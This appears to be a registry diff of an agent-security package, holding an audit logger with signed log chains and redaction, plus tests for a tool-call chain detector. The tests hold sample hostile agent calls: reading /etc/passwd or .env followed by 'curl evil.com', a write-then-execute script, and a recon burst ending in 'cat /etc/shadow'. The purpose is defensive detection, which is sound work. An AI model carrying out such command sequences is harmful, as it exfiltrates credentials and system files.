@agent-wall/core 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,458 @@
1
+ /**
2
+ * Agent Wall Audit Logger
3
+ *
4
+ * Structured logging of every tool call and its policy verdict.
5
+ * Logs to stderr (JSON) and optionally to a file.
6
+ * This is the audit trail — proof of what the agent did and what was blocked.
7
+ *
8
+ * Security:
9
+ * - HMAC-SHA256 chain signing (tamper-evident log entries)
10
+ * - Log rotation (max file size with automatic rotation)
11
+ * - File permission checks on policy files
12
+ */
13
+
14
+ import * as crypto from "node:crypto";
15
+ import * as fs from "node:fs";
16
+ import * as path from "node:path";
17
+ import type { RuleAction } from "./policy-engine.js";
18
+
19
+ // ── Log Entry Types ─────────────────────────────────────────────────
20
+
21
+ export interface AuditEntry {
22
+ timestamp: string;
23
+ sessionId: string;
24
+ direction: "request" | "response";
25
+ method: string;
26
+ tool?: string;
27
+ arguments?: Record<string, unknown>;
28
+ verdict?: {
29
+ action: RuleAction;
30
+ rule: string | null;
31
+ message: string;
32
+ };
33
+ responsePreview?: string;
34
+ latencyMs?: number;
35
+ error?: string;
36
+ }
37
+
38
+ /** Signed audit entry — includes HMAC chain for tamper evidence. */
39
+ export interface SignedAuditEntry extends AuditEntry {
40
+ /** HMAC-SHA256 of this entry + previous hash (chain) */
41
+ _sig?: string;
42
+ /** Sequence number in the chain */
43
+ _seq?: number;
44
+ }
45
+
46
+ // ── Logger Options ──────────────────────────────────────────────────
47
+
48
+ export interface AuditLoggerOptions {
49
+ /** Log to stdout as JSON lines (default: true) */
50
+ stdout?: boolean;
51
+ /** Log to a file (JSON lines) */
52
+ filePath?: string;
53
+ /** Redact sensitive values in arguments (default: true) */
54
+ redact?: boolean;
55
+ /** Maximum argument value length before truncation */
56
+ maxArgLength?: number;
57
+ /** Silent mode — no output */
58
+ silent?: boolean;
59
+ /** Enable HMAC-SHA256 chain signing */
60
+ signing?: boolean;
61
+ /** HMAC signing key (auto-generated per session if not provided) */
62
+ signingKey?: string;
63
+ /** Max log file size in bytes before rotation (default: 50MB, 0 = no limit) */
64
+ maxFileSize?: number;
65
+ /** Number of rotated log files to keep (default: 5) */
66
+ maxFiles?: number;
67
+ /** Callback fired after every log entry (for dashboard streaming) */
68
+ onEntry?: (entry: AuditEntry) => void;
69
+ }
70
+
71
+ // ── Sensitive Patterns ──────────────────────────────────────────────
72
+
73
+ const SENSITIVE_PATTERNS = [
74
+ /password/i,
75
+ /secret/i,
76
+ /token/i,
77
+ /api[_-]?key/i,
78
+ /auth/i,
79
+ /credential/i,
80
+ /private[_-]?key/i,
81
+ /access[_-]?key/i,
82
+ ];
83
+
84
+ // ── Constants ───────────────────────────────────────────────────────
85
+
86
+ const DEFAULT_MAX_FILE_SIZE = 50 * 1024 * 1024; // 50MB
87
+ const DEFAULT_MAX_FILES = 5;
88
+
89
+ // ── Logger Implementation ───────────────────────────────────────────
90
+
91
+ export class AuditLogger {
92
+ private options: {
93
+ stdout: boolean;
94
+ filePath: string;
95
+ redact: boolean;
96
+ maxArgLength: number;
97
+ silent: boolean;
98
+ signing: boolean;
99
+ signingKey: string;
100
+ maxFileSize: number;
101
+ maxFiles: number;
102
+ onEntry?: (entry: AuditEntry) => void;
103
+ };
104
+ private fileFd: number | null = null;
105
+ private entries: AuditEntry[] = [];
106
+ private prevHash: string = "genesis";
107
+ private seqCounter: number = 0;
108
+ private currentFileSize: number = 0;
109
+
110
+ constructor(options: AuditLoggerOptions = {}) {
111
+ this.options = {
112
+ stdout: options.stdout ?? true,
113
+ filePath: options.filePath ?? "",
114
+ redact: options.redact ?? true,
115
+ maxArgLength: options.maxArgLength ?? 200,
116
+ silent: options.silent ?? false,
117
+ signing: options.signing ?? false,
118
+ signingKey: options.signingKey ?? crypto.randomBytes(32).toString("hex"),
119
+ maxFileSize: options.maxFileSize ?? DEFAULT_MAX_FILE_SIZE,
120
+ maxFiles: options.maxFiles ?? DEFAULT_MAX_FILES,
121
+ onEntry: options.onEntry,
122
+ };
123
+
124
+ if (this.options.filePath) {
125
+ this.openLogFile();
126
+ }
127
+ }
128
+
129
+ /**
130
+ * Open or reopen the log file using synchronous fd (reliable on Windows).
131
+ */
132
+ private openLogFile(): void {
133
+ const dir = path.dirname(this.options.filePath);
134
+ if (!fs.existsSync(dir)) {
135
+ fs.mkdirSync(dir, { recursive: true });
136
+ }
137
+
138
+ // Get current file size for rotation tracking
139
+ try {
140
+ const stat = fs.statSync(this.options.filePath);
141
+ this.currentFileSize = stat.size;
142
+ } catch {
143
+ this.currentFileSize = 0;
144
+ }
145
+
146
+ this.fileFd = fs.openSync(this.options.filePath, "a");
147
+ }
148
+
149
+ /**
150
+ * Log a tool call with its policy verdict.
151
+ */
152
+ log(entry: AuditEntry): void {
153
+ const processed = this.options.redact
154
+ ? this.redactEntry(entry)
155
+ : entry;
156
+
157
+ this.entries.push(processed);
158
+
159
+ // Add HMAC chain signature if signing is enabled
160
+ let outputEntry: SignedAuditEntry = { ...processed };
161
+ if (this.options.signing) {
162
+ this.seqCounter++;
163
+ const sig = this.computeHmac(processed);
164
+ outputEntry._seq = this.seqCounter;
165
+ outputEntry._sig = sig;
166
+ this.prevHash = sig;
167
+ }
168
+
169
+ const line = JSON.stringify(outputEntry);
170
+
171
+ if (this.options.stdout && !this.options.silent) {
172
+ process.stderr.write(`[agent-wall] ${line}\n`);
173
+ }
174
+
175
+ if (this.fileFd !== null) {
176
+ const data = line + "\n";
177
+ const bytes = Buffer.byteLength(data, "utf-8");
178
+ fs.writeSync(this.fileFd, data);
179
+ this.currentFileSize += bytes;
180
+
181
+ // Check if rotation is needed
182
+ if (this.options.maxFileSize > 0 && this.currentFileSize >= this.options.maxFileSize) {
183
+ this.rotateLogFile();
184
+ }
185
+ }
186
+
187
+ this.options.onEntry?.(processed);
188
+ }
189
+
190
+ /**
191
+ * Compute HMAC-SHA256 for a log entry in the chain.
192
+ * Chain: HMAC(entry_json + prev_hash)
193
+ */
194
+ private computeHmac(entry: AuditEntry): string {
195
+ const payload = JSON.stringify(entry) + "|" + this.prevHash;
196
+ return crypto
197
+ .createHmac("sha256", this.options.signingKey)
198
+ .update(payload)
199
+ .digest("hex");
200
+ }
201
+
202
+ /**
203
+ * Rotate log files: current → .1, .1 → .2, etc.
204
+ * Oldest file beyond maxFiles is deleted.
205
+ */
206
+ private rotateLogFile(): void {
207
+ // Close current file descriptor synchronously (critical on Windows)
208
+ if (this.fileFd !== null) {
209
+ fs.closeSync(this.fileFd);
210
+ this.fileFd = null;
211
+ }
212
+
213
+ const basePath = this.options.filePath;
214
+
215
+ // Delete oldest if at max
216
+ const oldest = `${basePath}.${this.options.maxFiles}`;
217
+ try { fs.unlinkSync(oldest); } catch { /* doesn't exist */ }
218
+
219
+ // Shift existing rotated files: .4 → .5, .3 → .4, etc.
220
+ for (let i = this.options.maxFiles - 1; i >= 1; i--) {
221
+ const src = `${basePath}.${i}`;
222
+ const dst = `${basePath}.${i + 1}`;
223
+ try { fs.renameSync(src, dst); } catch { /* doesn't exist */ }
224
+ }
225
+
226
+ // Move current → .1
227
+ try { fs.renameSync(basePath, `${basePath}.1`); } catch { /* ignore */ }
228
+
229
+ // Reopen fresh log file
230
+ this.currentFileSize = 0;
231
+ this.openLogFile();
232
+ }
233
+
234
+ /**
235
+ * Log a denied tool call (convenience method).
236
+ */
237
+ logDeny(
238
+ sessionId: string,
239
+ tool: string,
240
+ args: Record<string, unknown>,
241
+ ruleName: string | null,
242
+ message: string
243
+ ): void {
244
+ this.log({
245
+ timestamp: new Date().toISOString(),
246
+ sessionId,
247
+ direction: "request",
248
+ method: "tools/call",
249
+ tool,
250
+ arguments: args,
251
+ verdict: {
252
+ action: "deny",
253
+ rule: ruleName,
254
+ message,
255
+ },
256
+ });
257
+ }
258
+
259
+ /**
260
+ * Log an allowed tool call (convenience method).
261
+ */
262
+ logAllow(
263
+ sessionId: string,
264
+ tool: string,
265
+ args: Record<string, unknown>,
266
+ ruleName: string | null,
267
+ message: string
268
+ ): void {
269
+ this.log({
270
+ timestamp: new Date().toISOString(),
271
+ sessionId,
272
+ direction: "request",
273
+ method: "tools/call",
274
+ tool,
275
+ arguments: args,
276
+ verdict: {
277
+ action: "allow",
278
+ rule: ruleName,
279
+ message,
280
+ },
281
+ });
282
+ }
283
+
284
+ /**
285
+ * Get all logged entries (for the audit command).
286
+ */
287
+ getEntries(): AuditEntry[] {
288
+ return this.entries;
289
+ }
290
+
291
+ /**
292
+ * Get summary statistics.
293
+ */
294
+ getStats(): {
295
+ total: number;
296
+ allowed: number;
297
+ denied: number;
298
+ prompted: number;
299
+ } {
300
+ let allowed = 0;
301
+ let denied = 0;
302
+ let prompted = 0;
303
+ for (const entry of this.entries) {
304
+ switch (entry.verdict?.action) {
305
+ case "allow":
306
+ allowed++;
307
+ break;
308
+ case "deny":
309
+ denied++;
310
+ break;
311
+ case "prompt":
312
+ prompted++;
313
+ break;
314
+ }
315
+ }
316
+ return {
317
+ total: this.entries.length,
318
+ allowed,
319
+ denied,
320
+ prompted,
321
+ };
322
+ }
323
+
324
+ /**
325
+ * Redact sensitive argument values.
326
+ */
327
+ private redactEntry(entry: AuditEntry): AuditEntry {
328
+ if (!entry.arguments) return entry;
329
+
330
+ const redacted: Record<string, unknown> = {};
331
+ for (const [key, value] of Object.entries(entry.arguments)) {
332
+ if (SENSITIVE_PATTERNS.some((p) => p.test(key))) {
333
+ redacted[key] = "[REDACTED]";
334
+ } else if (typeof value === "string" && value.length > this.options.maxArgLength) {
335
+ redacted[key] = value.slice(0, this.options.maxArgLength) + "...[truncated]";
336
+ } else {
337
+ redacted[key] = value;
338
+ }
339
+ }
340
+
341
+ return { ...entry, arguments: redacted };
342
+ }
343
+
344
+ /**
345
+ * Verify the HMAC chain integrity of a log file.
346
+ * Returns { valid: boolean, entries: number, firstBroken: number | null }
347
+ */
348
+ static verifyChain(
349
+ logFilePath: string,
350
+ signingKey: string
351
+ ): { valid: boolean; entries: number; firstBroken: number | null } {
352
+ const content = fs.readFileSync(logFilePath, "utf-8");
353
+ const lines = content.trim().split("\n").filter(Boolean);
354
+
355
+ let prevHash = "genesis";
356
+ let firstBroken: number | null = null;
357
+
358
+ for (let i = 0; i < lines.length; i++) {
359
+ const parsed = JSON.parse(lines[i]) as SignedAuditEntry;
360
+ const { _sig, _seq, ...entry } = parsed;
361
+
362
+ if (!_sig) {
363
+ // Unsigned entry — skip or flag
364
+ continue;
365
+ }
366
+
367
+ const payload = JSON.stringify(entry) + "|" + prevHash;
368
+ const expected = crypto
369
+ .createHmac("sha256", signingKey)
370
+ .update(payload)
371
+ .digest("hex");
372
+
373
+ if (_sig !== expected) {
374
+ if (firstBroken === null) firstBroken = i;
375
+ }
376
+
377
+ prevHash = _sig;
378
+ }
379
+
380
+ return {
381
+ valid: firstBroken === null,
382
+ entries: lines.length,
383
+ firstBroken,
384
+ };
385
+ }
386
+
387
+ /**
388
+ * Set or replace the onEntry callback (for dashboard streaming).
389
+ */
390
+ setOnEntry(callback: ((entry: AuditEntry) => void) | undefined): void {
391
+ this.options.onEntry = callback;
392
+ }
393
+
394
+ /**
395
+ * Close the logger (flush file stream).
396
+ */
397
+ close(): void {
398
+ if (this.fileFd !== null) {
399
+ fs.closeSync(this.fileFd);
400
+ this.fileFd = null;
401
+ }
402
+ }
403
+ }
404
+
405
+ // ── File Permission Checking ────────────────────────────────────────
406
+
407
+ export interface FilePermissionCheckResult {
408
+ safe: boolean;
409
+ warnings: string[];
410
+ }
411
+
412
+ /**
413
+ * Check if a policy file has safe permissions.
414
+ * Warns if world-writable, group-writable, or owned by different user.
415
+ * On Windows this is best-effort (no Unix permission model).
416
+ */
417
+ export function checkFilePermissions(filePath: string): FilePermissionCheckResult {
418
+ const warnings: string[] = [];
419
+
420
+ try {
421
+ const stat = fs.statSync(filePath);
422
+
423
+ // Unix permission checks (mode is a bitmask)
424
+ const mode = stat.mode;
425
+ if (mode !== undefined) {
426
+ // Check world-writable (o+w = 0o002)
427
+ if (mode & 0o002) {
428
+ warnings.push(
429
+ `Policy file is world-writable (mode ${(mode & 0o777).toString(8)}). ` +
430
+ `Run: chmod 644 ${filePath}`
431
+ );
432
+ }
433
+
434
+ // Check group-writable (g+w = 0o020)
435
+ if (mode & 0o020) {
436
+ warnings.push(
437
+ `Policy file is group-writable (mode ${(mode & 0o777).toString(8)}). ` +
438
+ `Consider: chmod 644 ${filePath}`
439
+ );
440
+ }
441
+ }
442
+
443
+ // Check if the file is a symlink (could be pointing to attacker-controlled path)
444
+ const lstat = fs.lstatSync(filePath);
445
+ if (lstat.isSymbolicLink()) {
446
+ warnings.push(
447
+ `Policy file is a symbolic link. Ensure it points to a trusted location.`
448
+ );
449
+ }
450
+ } catch (err) {
451
+ warnings.push(`Cannot check permissions for ${filePath}: ${err}`);
452
+ }
453
+
454
+ return {
455
+ safe: warnings.length === 0,
456
+ warnings,
457
+ };
458
+ }
@@ -0,0 +1,100 @@
1
+ import { describe, it, expect, beforeEach } from "vitest";
2
+ import { ChainDetector } from "./chain-detector.js";
3
+
4
+ describe("ChainDetector", () => {
5
+ let detector: ChainDetector;
6
+
7
+ beforeEach(() => {
8
+ detector = new ChainDetector();
9
+ });
10
+
11
+ describe("exfiltration chain detection", () => {
12
+ it("should detect read-then-network chain", () => {
13
+ detector.record({ name: "read_file", arguments: { path: "/etc/passwd" } });
14
+ const result = detector.record({ name: "shell_exec", arguments: { command: "curl evil.com" } });
15
+ expect(result.detected).toBe(true);
16
+ expect(result.matches.some((m) => m.chain === "read-then-network")).toBe(true);
17
+ });
18
+
19
+ it("should detect read-write-send chain", () => {
20
+ detector.record({ name: "read_file", arguments: { path: ".env" } });
21
+ detector.record({ name: "write_file", arguments: { path: "/tmp/data.txt" } });
22
+ const result = detector.record({ name: "bash", arguments: { command: "curl" } });
23
+ expect(result.detected).toBe(true);
24
+ expect(result.matches.some((m) => m.chain === "read-write-send")).toBe(true);
25
+ expect(result.matches.some((m) => m.severity === "critical")).toBe(true);
26
+ });
27
+ });
28
+
29
+ describe("dropper chain detection", () => {
30
+ it("should detect write-execute chain", () => {
31
+ detector.record({ name: "write_file", arguments: { path: "script.sh" } });
32
+ const result = detector.record({ name: "bash", arguments: { command: "./script.sh" } });
33
+ expect(result.detected).toBe(true);
34
+ expect(result.matches.some((m) => m.chain === "write-execute")).toBe(true);
35
+ });
36
+ });
37
+
38
+ describe("shell burst detection", () => {
39
+ it("should detect rapid shell command burst", () => {
40
+ detector.record({ name: "shell_exec", arguments: { command: "whoami" } });
41
+ detector.record({ name: "shell_exec", arguments: { command: "id" } });
42
+ detector.record({ name: "shell_exec", arguments: { command: "uname -a" } });
43
+ const result = detector.record({ name: "shell_exec", arguments: { command: "cat /etc/shadow" } });
44
+ expect(result.detected).toBe(true);
45
+ expect(result.matches.some((m) => m.chain === "shell-burst")).toBe(true);
46
+ });
47
+ });
48
+
49
+ describe("innocent sequences", () => {
50
+ it("should not trigger on normal read operations", () => {
51
+ detector.record({ name: "read_file", arguments: { path: "package.json" } });
52
+ const result = detector.record({ name: "read_file", arguments: { path: "tsconfig.json" } });
53
+ expect(result.detected).toBe(false);
54
+ });
55
+
56
+ it("should not trigger on single call", () => {
57
+ const result = detector.record({ name: "bash", arguments: { command: "ls" } });
58
+ expect(result.detected).toBe(false);
59
+ });
60
+
61
+ it("should not trigger on read then write (no shell)", () => {
62
+ detector.record({ name: "read_file", arguments: { path: "input.txt" } });
63
+ const result = detector.record({ name: "write_file", arguments: { path: "output.txt" } });
64
+ // read-sensitive-then-write is medium severity but still detects
65
+ // However read_file → write_file doesn't match "read-then-network"
66
+ const hasNetworkChain = result.matches.some((m) => m.chain === "read-then-network");
67
+ expect(hasNetworkChain).toBe(false);
68
+ });
69
+ });
70
+
71
+ describe("window management", () => {
72
+ it("should prune old calls beyond window size", () => {
73
+ const smallDetector = new ChainDetector({ windowSize: 3 });
74
+
75
+ // Fill window beyond capacity
76
+ smallDetector.record({ name: "list_directory", arguments: {} });
77
+ smallDetector.record({ name: "list_directory", arguments: {} });
78
+ smallDetector.record({ name: "list_directory", arguments: {} });
79
+ smallDetector.record({ name: "list_directory", arguments: {} });
80
+
81
+ expect(smallDetector.getHistoryLength()).toBe(3);
82
+ });
83
+
84
+ it("should reset history", () => {
85
+ detector.record({ name: "read_file", arguments: {} });
86
+ detector.record({ name: "write_file", arguments: {} });
87
+ detector.reset();
88
+ expect(detector.getHistoryLength()).toBe(0);
89
+ });
90
+ });
91
+
92
+ describe("disabled", () => {
93
+ it("should not detect anything when disabled", () => {
94
+ const disabled = new ChainDetector({ enabled: false });
95
+ disabled.record({ name: "read_file", arguments: {} });
96
+ const result = disabled.record({ name: "shell_exec", arguments: {} });
97
+ expect(result.detected).toBe(false);
98
+ });
99
+ });
100
+ });